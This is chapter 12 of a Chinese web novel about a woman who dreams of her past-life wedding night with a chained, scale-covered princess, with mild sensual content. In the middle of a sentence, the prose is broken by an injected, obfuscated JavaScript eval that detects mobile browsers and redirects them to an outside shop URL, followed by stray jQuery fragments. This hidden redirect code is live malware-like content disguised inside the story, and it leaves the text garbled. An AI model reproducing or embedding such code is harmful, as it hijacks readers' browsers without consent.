12. 12
作品:《疯子装什么乖》 蛇信子尾端分叉,软软的,带着湿冷的触感,扫过脖颈,脸颊……
林觅原皱起眉,一阵浓雾笼罩住她的全身,那股异香越来越浓郁,她似乎陷入了前世的梦境,浑身是汗,明明有意识,却怎么也醒不过来。
“驸马。”
一声呼唤,她正站在贴着喜字的新房外。
大红灯笼在屋檐下亮着微光,门上挂着红绸,屋外是细雪纷飞,冷风吹过。
有丫鬟提醒:“驸马,该进新房了。”
林觅原点头,接着缓缓推门,她穿着一身大红喜服,这红色,在烛光的照耀下,倒像是鲜红的血色。
下人们迅速离开,口中还低喃着:“也不知驸马爷活不活得过今夜……”
“公主正好今夜发病了……”
与长公主大婚那夜,她心中很紧张,可踏入新房的那一刻,看到的却是倒在血泊中的女人。
世人皆说长公主得了怪病,一发病便嗜杀成性,已经杀了五位驸马。
可她看到的,只是手脚都被锁链捆住的可怜人。
女子脸色苍白,双眼被红绸束缚,一身嫁衣沾上了血液,纤细的手腕和脚踝上捆着粗重的锁链,将肌肤磨出血痕,鲜血淋漓。
她单薄的脊背仿佛不堪重负,颤抖着,锋利的指甲在脖颈抓出一道道血痕,宛若透明的鳞片掉落。
好多血,一颗颗滴落在地面,像是雪地中盛开的曼陀罗华,有低声诵念佛经的声音传出,可佛,不愿意渡她,身体的痛苦愈发强烈,咬牙隐忍着,嘴角流出血液。
她的美,她的痛苦,在烛火之中摇曳,映入林觅原的眼中。
锁链被绷紧,挣扎间发出清脆的声响。
那一刻,林觅原竟毫不惧怕,反而心脏被揪紧了,一步步靠近她。
每走一步,她都知道,她将踏进一个未知的深渊。
可是,她依旧来到她身边,随后,指尖触碰到她的肩。
“你……还好吗?”
“帮我……”
女人忽然胡乱地拽住她的衣衫,紧紧拽住,细细地喘息,就像寻到了最后一丝希望。
她红唇张着,脸颊上是湿意,红绸竟被泪水浸湿。
狼狈的,褪去了浑身的冷漠,有的只是脆弱和无助……
她才刚及笄,明明该是千娇万宠的公主,却成了普渡众生的佛,被昏君困在公主府内,夜夜受尽发病的折磨。
“如何帮?”
林觅原看着她手上锋利的指甲,露出的脖颈上长着光滑的鳞片,让人心生恐惧。
转瞬间,指甲又刺入肌肤,血色蔓延。
她连忙握住她的手,阻止对方继续抓挠。
掌心一片滚烫,对方的手比她小半圈,苍白的毫无血色,柔软的,像一碰就要碎掉。
因为她的触碰,手在颤抖,似乎被她的热意烫到,要挣扎出去。
林觅原扣住她的手,掌心贴合的瞬间,手指钻进指缝,与她十指紧扣。
“告诉我,如何帮你。”
那颗心惴惴不安地跳动,她靠近对方,闻到血腥味。
有泪水滑落,江予挚仰头看她,哽咽的,被汗湿的发贴在脸颊上,声音微哑:“你真的……愿意?”
“我愿意,既已娶了你,你便是我的妻。”
“从今以后,我来护着你。”
“我是女子,可是,只要你愿意,我与你共白头……一世不弃……”
她一字一句,目光真挚,深深地将对方刻进眼里。
“那你……抱我,抱我上榻……”
江予挚颤抖着,手缓缓收紧,像是也扣住了她的手。
林觅原耳根泛红,她将手缓缓抽开,指尖离开时激起身体的战栗。
她伸手搂住她的腰肢,隔着嫁衣,尽量不去触碰到她,另一只手穿过她的腿弯,将她猛地打横抱起。
被她抱起,女人浑身一颤,锁链在晃荡中发出声响。
她将她抱到榻上,低着头,放柔了声音:“玉钥给我,我替你开锁。”
江予挚却并未给她:“不用……”
不解开,这锁链将她手脚都磨破了。
林觅原刚想松开对方去看看,江予挚却又攥住她的衣襟:“只……只需要一会儿,我预知到了……看到你趴在我身上……为我缓解了病痛。”
原来她的预知竟是能看到未发生的一切。
可是,她预知到她趴在她身上,那是做什么?
林觅原细问:“我趴在你身上做什么?”
她一问,对方耳尖竟漫上潮红,浑身还疼痛着,溢出声音:“你照做就是……就是趴在我身上,未穿衣物……”
“我乃佛门弟子,虽还俗,却依旧要守清规戒律,你不许僭越……”
她捏住榻上遗落的一串佛珠,一颗颗盘动,双眼被红绸遮住,可嫁衣下的身躯在颤抖,疼得嘴唇都咬出血来。
林觅原看着,于心不忍,左右只是剥去衣物趴在她身上。
于是她站在榻前,将外衫脱下,一件件,大红的喜服堆在地上。
她爬上榻,依旧不敢触碰对方,只是问:“那你呢?”
“我……”
江予挚偏过头,指尖攥住床褥,犹如剥皮换骨的疼痛让她不再犹豫,缓缓拽开外衫,露出雪白的肩颈,随后,手指又颤抖着抽开腰带……
“你,要快些……不许做多余的事……”
“好……”
林觅原偏过头,有些不敢看对方的身子。
可最终,随着最后一块遮羞布落地,女人隐忍地喘,又用手去抓挠身上。
林觅原握住她的手腕,这回将她看的清清楚楚。
那是一具极美的身躯,雪一样的白,晃人眼,纤细的腰,浑圆的起伏,却又长着浅浅的鳞片,鳞片几乎遍布全身,有些因为抓挠而渗出血色。
怪异的美,引诱出人心底的恐惧。
“你,怕了?”
清透的女声让林觅原回神,对方的身躯颤抖着,肤上浸着一层薄薄的汗水,反倒分外诱人。
她回:“我不怕。”
“那你帮我,趴到我身上来。”
江予挚的声音平静,带着疼痛过后的颤,指尖攥住佛珠,似乎连呼吸都带着抽痛。
林觅原看着她,那张小脸上是泪水浸过的湿意,心中隐隐有些发软。
于是,她小心翼翼的,缓缓地靠近她,烛光下,女人躺在榻上,红绸遮眼,嘴唇紧抿,似乎等待着。
她的身体浸着霜雪的冰冷。
林觅原的骨架比她大一圈,阴影笼罩在她的身上,随后一点点俯下身。
她常年体热,压下去的一瞬间,两人的肌肤触碰到。
烛光映照出两人精致的侧颜,一个如霜般冰冷,一个似火的红艳。
林觅原的脸上透出绯红,只犹豫片刻,便伸出手,手掌抚到女人的后背,微微用力,托住那薄薄的脊背。
江予挚的头仰起来,胸膛微挺,纤薄的身躯彻底贴入她怀中。
“嗯……”一丝微弱到几乎听不到的声音咽进喉中。
覆满鳞片的肌肤第一次产生了异样感,仿佛被对方身上的温暖灼烫着。
发病后的疼痛竟然微微减轻。
“这样好些吗?”林觅原的手颤抖着,掌心太热,局促地捧着女人的脊背,像对待易碎的珍宝。
“嗯……好些……”江予挚偏过头,手指不断盘动佛珠,嘴里念叨着佛经,可耳畔是被烛火映照出的红艳,那艳色蔓延到脸上。
“还要做别的吗?”林觅原呼吸变得灼热,对方身上太凉,太滑,她搞不懂自己的感觉,只觉得心脏跳动得好快,两人也贴得太紧。
也不知对方能不能感受到她剧烈的心跳。
但她感觉不到江予挚的心跳加快,对方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929827|192779||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似乎毫无感觉的,只是淡淡开口:“不要动。”
“好。”
林觅原乖乖应着,她看着对方,大概是因为烛火,女人不再冰冷,似乎渐渐被那温度灼化。
新婚这夜,她看着她的脸,就这样和她贴着说话。
“你疼不疼,要不要帮你寻大夫?”
“无需,只要你帮我缓解病痛。”
“可是,就这样贴着就可以吗?”
“嗯……”
林觅原拽着被褥,盖住两人的身体:“你冷不冷,我有些冷了。”
“不冷。”
女人有问必答,倒是不像传闻中那样冷。
她笑着,开始憧憬婚后,她一定会对她很好很好……
直到渐渐睡去,林觅原的脸埋在了她的颈间,潮热的呼吸喷薄在江予挚脖颈处。
她睡着后很不安分,总觉得自己抱着一块冰块,想要让身子暖一暖,于是时不时磨蹭几下,双臂牢牢地将女人的身子搂在怀中,双腿也挤进她腿间,缠着她的腿。
“林觅原……”
屋内,女人满脸潮红,烛火渐渐熄灭,被褥下,两道成熟诱人的身躯纠缠,时不时传出锁链晃荡的声音。
她想推开她,却无力的,最终,不知怎的,蚀骨的疼痛在那股热意中消退,鳞片也慢慢消失。
以往,总要经历整整一个日夜的折磨,可这一次,竟没过多久,她就在那温热的怀抱中渐渐睡去。
第二日醒来,林觅原见她呼吸清浅,总算是松了口气,又帮她将被褥掖好,急急忙忙想起床去找大夫。
身上如此多的伤,必须要处理。
江予挚却忽然拽住她,手指攥着她的手腕,锁链铮铮作响。
她开口:“我们蛊族立下契约,要喝下彼此的血。”
“你说要与我共白头,不能食言。”
“自然。”林觅原勾起唇,眸子里好似盛满星光。
那日早晨,两人补上了前一夜的交杯酒,柔软的双臂纠缠,江予挚半坐起,裹着被褥,微微张唇,饮下了那酒。
酒中分别融入两人的血,喝入腹中,似乎带来一阵暖意。
脸上泛起薄红。
林觅原看着她,觉得她太消瘦,以后要好好养养。
可忽然,雪白的脖颈上出现了一根缠着的红线。
红线末端牵连着江予挚的手,她缓缓拉动红线,将林觅原微微拽过去,开口的声音却带着哑:“今生……不,就算你死了,来世,不管你在哪里,都永远摆脱不了它,生生世世……”
那时,林觅原的心跳忽然加快,她抚过那根红线,低声应:“好……”
之后,两人越走越近,她开始尝试着触碰她,亲吻她,胸腔中震动的爱意愈发沉闷。
她总以为,她们能一起走到最后……
林觅原心中浮现隐隐的钝痛,她似乎无论如何也醒不来。
身子浸泡在温水中,仿佛有什么阴冷的东西紧紧缠住她的身体,湿湿软软的蛇信子滑过她的脸颊,耳垂……
那是小蛇在关心地舔她吧?
好黏人,怎么一直舔。
林觅原无奈,她昏昏沉沉的,不知过了多久,恍惚间睁开眼,却闻到熟悉的檀香。
视线变得清晰,竟看到眼前一张凑得极近的小脸,脸上浸满了湿意,微微闭着眸,细软的羽睫被打湿,轻颤着。
如瀑的青丝也被浸湿,肌肤白得恍若透明,离得太近,能看到苍白面皮下透出的红晕,潮红蔓延至耳根,她的唇色也微微透着红。
唇瓣微张时像含着珠子,单看嘴唇,诱人的软,沾着水意,让人想要亲吻。
是江予挚。
这是梦吗?梦中梦?
林觅原皱着眉,女人竟微微偏着头,微微急促的呼吸与她的呼吸交缠,带着一阵香气,嘴唇压了下来。
嗯?!!
……

